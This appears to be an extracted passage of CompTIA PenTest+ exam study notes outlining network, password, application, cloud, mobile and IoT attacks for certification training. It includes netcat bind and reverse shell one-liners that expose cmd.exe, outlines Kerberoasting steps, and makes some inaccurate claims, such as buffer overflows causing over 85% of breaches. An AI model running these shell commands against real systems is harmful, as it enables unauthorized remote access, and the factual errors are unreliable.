▪ A technology that is used to keep unauthorized users or devices from
accessing a private network
- 87 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Non-persistent
● Requires the users to connect to the network and log in to a web-
based captive portal to download an agent that scans their
devices for compliance
o Methods
▪ Exploit an authorized host
▪ Make device look like something else
● Most networks segment out VoIP devices and printers into their
own separate VLANs
● On-Path Attack
o On-Path Attack
▪ Occurs when an attacker puts themself between the victim and the
intended destination
▪ Methods
● ARP poisoning
● DNS poisoning
● Introducing a rogue WAP
● Introducing a rogue hub/switch
o Replay
▪ Occurs when valid data is captured by the attacker and is then repeated
immediately, or delayed, and then repeated
- 88 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Relay
▪ Occurs when the attacker inserts themselves in between the two hosts
o SSL Stripping
▪ Occurs when an attacker tricks the encryption application into presenting
the user with an HTTP connection instead of an HTTPS connection
o Downgrade Attack
▪ Occurs when an attacker attempts to have a client or server abandon a
higher security mode in favor of a lower security mode
● Password Attacks
- 89 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Hash digest is the result of a one-way hashing algorithm that protects the
passwords stored in the database
o Password Cracker
▪ Used to attempt to break a user’s password by using either a dictionary
attack or by using brute force techniques
● John the Ripper
● Cain and Abel
o Dictionary Attack
▪ Uses a list of common passwords, words, and phrases to attempt to
guess the password
o Rainbow Table
▪ A precomputed hash value table that contains known passwords used for
offline password cracking
o Prevention
▪ Strong password security policies
▪ Complex passwords
▪ Password change at least every 60 days
▪ Failed login attempt lockouts or delays
o Password Spraying
▪ Uses a dictionary of common passwords on multiple accounts to bypass
authentication mechanisms
o Credential Stuffing
▪ Tests stolen user account names and passwords against multiple
websites
▪ Prevention
- 90 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Mimikatz
▪ An open-source application that allows users to view and save
authentication credentials to perform pass the hash attacks
▪
Mimikatz scans system memory for cached passwords processed
by the Local Security Authority Subsystem Service (lsass.exe)
o Kerberoasting
- 91 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Allows any domain user account with a service principal name to set a
service granting ticket in the ticket granting service
▪ Process
● Get the user Service Principal Names (SPNs) to identify all
accounts that are good candidates for Kerberoasting
● Get a service ticket from one of the SPNs that looks like a good
target, such as a server
● Dump the service ticket to a file
● Crack the account’s plaintext password, which can be done
offline, using that service ticket file
▪ The service accounts or server accounts are the ones most vulnerable to
Kerberoasting
▪ Golden Ticket
● A master ticket that comes from the Kerberos ticket-granting
ticket (TGT) which can be used for any Kerberos service
▪ Silver Ticket
● A ticket-granting service ticket that is only good for certain
Kerberos-specific service
● Netcat
o Netcat (nc)
▪ A command line utility for reading and writing raw data over a network
connection
o Shell
▪ An interactive command interface, just like the one you are using when
you enter command into your Kali Linux terminal
o Bind Shell
▪ Attacker installs a listening port onto the victim’s machine, to which the
attacker can connect
- 92 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Bind shells became less effective as security increased and firewalls were
installed at network boundaries
▪ Set Up Listener
● nc -l -p 443 -e cmd.exe
▪ Connect to Listener
● nc 10.1.0.1 443
o Reverse Shell
▪ Attacker installs a listener on their own workstation and configures a
listening port
▪ Set Up Listener
● nc -l -p 443
▪ Connect to Listener
● nc 10.1.0.2 443 -e cmd.exe
- 93 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Application Vulnerabilities
● Application Vulnerabilities
o Domain 3: Attacks and Exploits
▪ Objective 3.3
● Given a scenario, research attack vectors and perform application-
based attacks
o Importance
▪ Create exploits to take advantage of them and gain access to a given
enterprise network
▪ Provide mitigation recommendations in the final report at the end of the
engagement
o OWASP Top 10
▪ Represents a broad consensus on the most critical security risks to web
applications and provides information on how to prevent them
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Prevention
● Segment remote resource access functionality into separate
networks
● Enforce a deny by default firewall or ACL policy
● Ensure web apps sanitize and validate any client-supplied input
data
● Race Conditions
o Race Condition
▪ Occurs when the resulting outcome from execution processes is directly
dependent on the order and timing of certain events, which then failed to
execute in the order and timing intended by the developer
▪ Occurs when a computer tries to race itself in the processing of certain
data
▪ Found where multiple threads attempt to write to a variable or object at
the same memory location
▪ Race conditions often happen outside the normally logged processes in a
system
o Dereferencing
▪ Occurs when the code attempts to remove the relationship between a
pointer and the thing it points to
o TOCTOU
▪ Occurs when there is a change between when an app checks a resource
and when the app uses the resource
o Deadlock
▪ Occurs when a lock cannot be removed from the resource
- 95 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Buffer Overflows
o Buffer Overflow
▪ Occurs when a process stores data outside the memory range allocated
by the developer
▪ Over 85% of data breaches were caused by a buffer overflow
o Buffer
▪ A temporary storage area that a program uses to store data
o Stack
▪ Reserved area of memory where the program saves the return address
when a function call instruction is received
- 96 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Prevention
▪ Maintain a good patch management program
- 97 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Integer Overflow
▪ Occurs when a computed result from an operation is too large to fit into
its assigned variable type for storage
▪ Integer overflows and buffer overflows can lead to arbitrary code
execution, and in turn, privilege escalations
▪ Upper/lower boundary
o Prevention
▪ Utilize multi-factor authentication
▪ Never use default credentials
▪ Verify passwords are strong and not found on published password
exploitation lists
▪ Use limits or delays to slow failed login attempts and brute force
attempts
▪ Use server-side session management and long and randomized session
identifiers
▪ Never pass a session identifier as a URL parameter
▪ Implement session timeouts and expiring session identifications
- 98 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Prevention
● Always use secure coding practices
● Always implement proper access control techniques to verify a
user’s authorization
● Improper Headers
o HTTP Response Headers
▪ Used to control how web servers operate to increase security during
operations
▪ Protects against:
● Cross site request forgery
● Cross site scripting
● Downgrade attack
● Cookie hijacking
● User impersonation
● Clickjacking
- 99 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o X-Frame-Options
▪ Prevents clickjacking from occurring
o X-XSS-Protection
▪ Enables cross site scripting filter in the web browser
o X-Content-Type-Options
▪ Prevents the browser from interpreting files as something other than
what they are
o Content-Security-Policy (CSP)
▪ Impacts how web browsers render pages
o X-Permitted-Cross-Domain-Policies
▪ Sends a cross-domain policy file to the web client and specifies if the
browser has permission to handle data across domains
o Referrer-Policy
▪ Governs which referrer information should be included with requests
made
o Expect-CT
▪ Indicates browsers to evaluate connections to the host emitting the
header for Certificate Transparency compliance
o Feature-Policy
▪ Allows developers to selectively enable and disable use of various
browser features and APIs
● Code Signing
o Code Signing
▪ Digitally signing executables and scripts to confirm the software author
and guarantee code has not been altered
- 100 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Code signing just validates that the code is ready for distribution
● Vulnerable Components
o Client-Side Processing
▪ Puts the load on the end user’s machine instead of the server
o Server-Side Processing
▪ Considered to be more secure and trustworthy for most use cases
- 101 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Browser Extension
▪ Provides expanded functionality or features to a web browser
▪ Flash, ActiveX, JavaScript
● Remove Adobe Flash installations on your network’s clients
▪ COM
● Communication
▪ DCOM
● Distribution
▪ Vulnerabilities
● Cross-domain messaging
● Cross-origin resource sharing
● Web sockets
● Server sent events
● Local, offline, and web storage
● Client-side databases
● Geolocation requests
● Web workers
● Tabnabbing
● Sandbox frames
- 102 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Machine Code
▪ Basic instructions written in machine language that can be directly
executed by the CPU
▪ Specific to a type of processor and can only be run on the processor
where it was compiled
o Bytecode
▪ An intermediate form of code produced by a compiler that can be
translated into machine code
● Software Composition
o Software Composition Analysis
▪ A process by which software can be analyzed for open-source component
▪ When using third-party dependencies, you are responsible for the code
you write and did not write
● Dependency-Check
● Dependency-Track
o Frameworks
▪ Apache Struts
▪ Microsoft .NET
▪ Ruby on Rails
▪ Ramaze
▪ Hibernate
▪ Django
▪ Twisted
▪ web.py
- 103 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Security Misconfiguration
▪ Any issue related to poorly implemented or documented security
controls
o Information Disclosure
▪ The act of stealing information from an application or during the
communication process between two applications
▪ End of Support
● No longer updated
o Code Injection
▪ An exploitation technique that runs malicious code with identification of
a legitimate process
▪ Ensure applications provide input and output validation
o Regression Issues
▪ Occur when a source code is changed which may have introduced a new
vulnerability or have broken some existing functionality
o Regression Testing
▪ Validates any software change does not produce any unintended
consequences
- 104 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Application Attacks
● Application Attacks
o Domain 3: Attacks and Exploits
▪ Objective 3.3
● Given a scenario, research attack vectors and perform application-
based attacks
● Directory Traversals
o Directory Traversal
▪ Allows access to files, directories, or commands that may or may not be
connected to the web document root directory
▪ In a directory traversal, an attacker tries to navigate upwards and out of
the web document root directory
● Unix/Linux
o ../
- 105 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Directory traversals may be used to access any file on a system with the
right permissions
▪ Attackers may try to use %2E%2E%2F instead of ../
o File Inclusion
▪ Allows an attacker to download a file from an arbitrary location or upload
an executable or script file to open a backdoor
▪ Method
● Attacker identifies input validation vulnerability within a trusted
website
● Attacker crafts a URL to perform code injection against the
trusted website
● The trusted site returns a page containing the malicious code
injected
● Malicious code runs in the client’s browser with permission level
as the trusted site
- 106 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Types
● Non-Persistent XSS
o Happens once
● Persistent XSS
o Embedded code
o Cookie
▪ Text file used to store information about a user when they visit a website
● Non-Persistent Cookie (Session Cookie)
o Reside in memory
● Persistent Cookie
o Stored in browser cache
o Session Hijacking
▪ Disconnects a host and then replaces it with his or her own machine by
spoofing the original host IP address
● Session cookie theft
● Non-random tokens
o Session Prediction
▪ Predicts a session token to hijack the session
▪ Session tokens must be generated using non-predictable algorithm and
must not reveal any info about the session’s client
- 107 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Prevention
● Ensure user-specific tokens are used in all form submissions
● Add randomness and prompt for additional information for
password resets
● Require users to enter their current password when changing it
● SQL Injections
o Code Injection
▪ Inserts additional information or code through a data input form from a
client to an application
o SQL Injection
▪ Injects an SQL query through the input form a client uses to send data to
a web application
● URL parameters
● Form fields
● Cookies
● POST data
● HTTP headers
▪ Prevention
● Use input validation and sanitize any data received from users
● Web application firewall
- 108 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● XML Injections/Exploitation/Vulnerability
o Extensible Markup Language (XML)
▪ Used by web apps for authentication, authorization, and other types of
data exchange
▪ Conduct input validation and sanitization of the data received
▪ Vulnerabilities
● Spoofing
● Request forgery
● Code injection
o To prevent XML vulnerabilities from being exploited, use proper input validation
o Unlike XML, HTML or JavaScript use defined keywords for each bracketed entry
▪ Prevention
● Input validation
● Input sanitization
o Command Injection
▪ Occurs when a threat actor executes arbitrary shell commands on a host
via a vulnerable web application
- 109 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Prevention
● Input validation
o Process Injection
▪ A method of executing arbitrary code in the address space of a separate
live process
▪ Prevention
● Endpoint security
● Security kernel module
● Least privilege
- 110 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Cloud Attacks
● Cloud Attacks
o Domain 3: Attacks and Exploits
▪ Objective 3.4
● Given a scenario, research attack vectors and perform attacks on
cloud technologies
o Side-Channel Attack
▪ Aims to measure or exploit the indirect effects of a system instead of
targeting the code or program directly
▪ Prevention
● Data encryption
● Multi-factor authentication
● Routine monitoring and auditing
- 111 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Fragmentation of Requests
o Sending multiple fragmented HTTP requests to a server
● Credential Harvesting
o Credential Harvesting
▪ Any attack designed to steal usernames and passwords
- 112 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Account Takeover
▪ Attackers silently embed themselves within an organization to slowly gain
additional access or infiltrate new organizations
▪ Account takeovers are very hard to detect
o Privilege Escalation
▪ Occurs when an attacker gains the rights of another user or an
administrator
● Vertical
o User to admin/root account
● Horizontal
o User to another user account
o Vulnerabilities to Exploit
▪ Security Account Manager (SAM) File
● Contains the hashed passwords of every user on a given Windows
system or domain
▪ Windows UAC
▪ Shared folders
● Many organizations do not enable access controls to their files
and folders on a shared drive
▪ Writable services
● Writeable services and unquoted service paths can be used to
inject a malicious application that will be launched during startup
▪ Missing patches
- 113 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Misconfigured Assets
o Misconfigured Cloud Asset
▪ Account, storage, container, or other cloud-based resource that is
vulnerable to attack because of its current configuration
o Cloud Federation
▪ The combination of infrastructure, platform services, and software to
create data and applications that are hosted by the cloud
▪ Identify who’s responsible for the approval of new services and servers,
as well as for their vulnerability and patch management
▪ Personnel Type
● Used in IAM to define identities for an organization’s employees
● An organization should ensure they are providing good end-user
security training
▪ Endpoint Type
● Used for resources and devices that are used by personnel to gain
legitimate access to the network
● Use centralized EMS
● Validate endpoints
▪ Server Type
● Used for mission-critical systems that provide a service to other
users and endpoints
● Encryption schemas
● Digital certificates
● Configuration hardening
▪ Software Type
● Used by IAM to uniquely identify a software’s provenance prior to
installation
- 114 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Role Type
● Used to support the identities of various assets and associated
permission and rights to the roles or functions of those resources
o Privileged Account
▪ Allows the user to perform additional tasks, such as installing software,
upgrading operating system, modifying configurations, and deleting
software or files
o Shared Account
▪ Any account where the password or authentication credential is shared
between more than one person
o Object Storage
▪ Bucket
● Amazon Web Services
▪ Blob
● Microsoft Azure
- 115 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Container
▪ An image that contains everything needed to run a single application or
microservice
▪ Vulnerabilities
● Embedded malware
● Missing critical security updates
● Outdated software
● Configuration defects
● Hard-coded cleartext passwords
- 116 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Stay up to date with the latest exploits and techniques as you enter penetration
testing
- 117 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Keep up to date with the latest vulnerabilities discovered and released in these
different SDKs
o Prowler
▪ An open-source security tool used for security best practices
assessments, audits, incident response, continuous monitoring,
hardening, and forensics readiness for AWS cloud services
- 118 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Pacu
▪ An exploitation framework used to assess the security configuration of an
Amazon Web Services (AWS) account
o CloudBrute
▪ Used to find a target’s infrastructure, files, and apps across the top cloud
service providers, including Amazon, Google, Microsoft, DigitalOcean,
Alibaba, Vultr, and Linode
o Cloud Custodian
▪ An open-source cloud security, governance, and management tool
designed to help admins create policies based on different resource types
▪ Cloud Custodian is a stateless rules engine used to manage AWS
environments by validating and enforcing the environment against set
standards
o It is great for defining rules that enable a cloud infrastructure that is secure and
optimized
- 119 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Remote Wipe
▪ Reverts a device back to its factory default settings and sanitizes the
sensitive data from the device’s onboard storage
o Device Certificates
▪ Trust Certificate
● Globally identifies a trusted device within an organization
- 120 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ User-Specific Certificate
● Assigned to a device to uniquely identify it on the network
o Firmware Update
▪ Updates the baseband of the radio modem used for cellular, Wi-Fi,
Bluetooth, NFC, and GPS connectivity
● Deployment Options
o Corporate-Owned, Business Only (COBO)
▪ Purchased by the company for use by the employees only for work-
related purposes
▪ Most secure
▪ Most restrictive
▪ Most expensive
- 121 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Wearable Technology
▪ Any type of smart device worn on or implanted in the body
o Wireless Eavesdropping
o Rooting
▪ Custom Firmware/Custom ROM
● A new Android OS image that can be applied to a device
▪ Systemless Root
● Does not modify system partitions or files and is less likely to be
detected than a custom ROM
o Sideloading
▪ Installs an app on a mobile device directly from an installation package
instead of an official store
- 122 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Android v6
● 128-bit AES keys
▪ Android v7
● File-based encryption
▪ Android v9
● Metadata encryption
o VPN
▪ Some MDM solutions provide a third-party VPN client
- 123 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Operating System
● Always on
▪ Application
● Per-app basis
▪ Web-Based
● Location masking
o Location Services
▪ Refers to how a mobile device is allowed to use cellular data, Wi-Fi, GPS,
and Bluetooth to determine its physical location
o Geolocation
▪ Uses a device’s ability to detect its location to determine if access to a
particular resource should be granted
o Geofencing
▪ Creates virtual boundaries based on geographical locations and
coordinates
o Geotagging
▪ Adds location metadata to files or devices
● Multifactor Authentication
o Identification
▪ Provides identity
o Authentication
▪ Validates identity
- 124 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o OTP Algorithms
▪ Time-Based One-Time Password (TOTP)
● Computes password from a shared secret and the current time
o Authentication Factors
▪ In-Band Authentication
● Relies on an identity signal from the same system requesting the
user authentication
▪ Out-of-Band Authentication
● Uses a separate communication channel to send the OTP or PIN
- 125 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Overreach of Permissions
▪ Occurs when third-party apps request more permissions than they
actually need
▪ Overreach of permissions can be used by penetration testers to their
advantage
o Social Engineering
▪ Vishing
▪ Smishing
▪ Spamming
o Bluetooth
▪ Bluejacking
● Sending unsolicited messages to a Bluetooth device
● Sending information
▪ Bluesnarfing
● Making unauthorized access to a device via Bluetooth connection
● Taking information
● Malware Analysis
o Sandboxing
▪ A computing environment that is isolated from a host system to
guarantee that the environment runs in a controlled and secure fashion
● Determine if the file is malicious
● Effects of the file on a system
● Dependencies with files and hosts
- 126 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ The sandbox host (virtual machine) should not be used for any other
purpose except malware analysis
o Reverse Engineering
▪ The process of analyzing the structure of hardware or software to reveal
more about how it functions
▪ Malware reverse engineers can determine who wrote the code by
learning their patterns
▪ Malware writers often obfuscate the code before it is assembled or
compiled to prevent analysis
o Disassembler
▪ A computer program that translates machine language into assembly
language
o Machine Code
▪ The binary code executed by the processor, typically represented as 2
hex digits for each byte
o Assembly Code
▪ The native process or instruction set used to implement a program
o Decompiler
▪ Software that translates a binary or low-level machine language code into
higher level code
o High-Level Code
▪ Real or pseudocode in human readable form that makes it easier to
identify functions, variables, and programming logic used in the code
- 127 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Strings
● Any sequence of encoded characters that appears within the
executable file
● If the malware contains a string with a function called
InternetOpenUrl, and another string that is a URL, it probably
attempts to download something from that web address
● The Strings tool will dump all strings with over three characters in
ASCII or Unicode encoding
o Program Packer
▪ A method of compression in which an executable is mostly compressed
and the part that isn’t compressed contains the code to decompress the
executable
▪ A packed program is a type of self-extracting archive
▪ A packed program does not necessarily mean it is malicious as many
proprietary software also uses packing to deter theft and piracy
▪ Packed malware can mask string literals and effectively modify its
signatures to avoid triggering signature-based scanners
- 128 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Frida
▪ An open-source tool that provides custom developer tools for
penetration testers when conducting application pentesting on mobile
apps
▪ Frida supports both iOS and Android applications, as well as Windows,
macOS, and Linux
o Objection
▪ A runtime mobile exploration toolkit that is built to help assess the
security posture of mobile applications, without requiring the device to
be jailbroken
o Needle
▪ An open-source, modular framework used to streamline the security
assessment process on iOS application
▪ Frida is a better choice for iOS exploitation as Needle has already been
decommissioned
o Ettercap
▪ A comprehensive toolkit for conducting on-path attacks
- 129 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o IoT Protocols
▪ Wi-Fi
● Wi-Fi can be operated in either infrastructure mode or ad hoc
mode to create a local area network or a personal area network
▪ Bluetooth
● A short-range wireless networking technology that can be used by
IoT devices
▪ Infrared
● Used for devices that need to communicate using a line of sight
communication using light beams inside of the infrared spectrum
● Infrared only covers a limited distance on a relatively low
bandwidth solution
- 130 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Zwave
● A short range, low latency data transfer technology that uses less
power and has lower data rates than Wi-Fi
▪ ANT+
● A technology used for the collection of sensor data from different
IoT devices
o IoT Communications
▪ Machine to Machine (M2M)
● Involves communication between the IoT device and some other
traditional system like a server or a gateway
o Prevention
▪ Properly install, secure, and segment IOT devices into their own subnet,
VLAN, or network outside of the normal IT production network
o Common Vulnerabilities
▪ Insecure defaults
● Default login credentials
● No password set
● Number of open ports
● Unauthorized connection
● Firewall being turned off
▪ Hard-coded configurations
● Self-registering device
● Usernames and passwords in plain text
● Unchangeable settings
- 131 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Cleartext communication
● Sending data in plain text
▪ Data leakage
o Be careful in which exploits you use since you can inadvertently cause the device
to go offline, crash, or malfunction
● Embedded Systems
o Embedded Systems
▪ A computer system that is designed to perform a specific, dedicated
function
▪ Embedded systems can be a simple device or fully complex with the use
of operating systems
o System-on-Chip (SoC)
▪ A processor that integrates the platform functionality of multiple logical
controllers onto a single chip
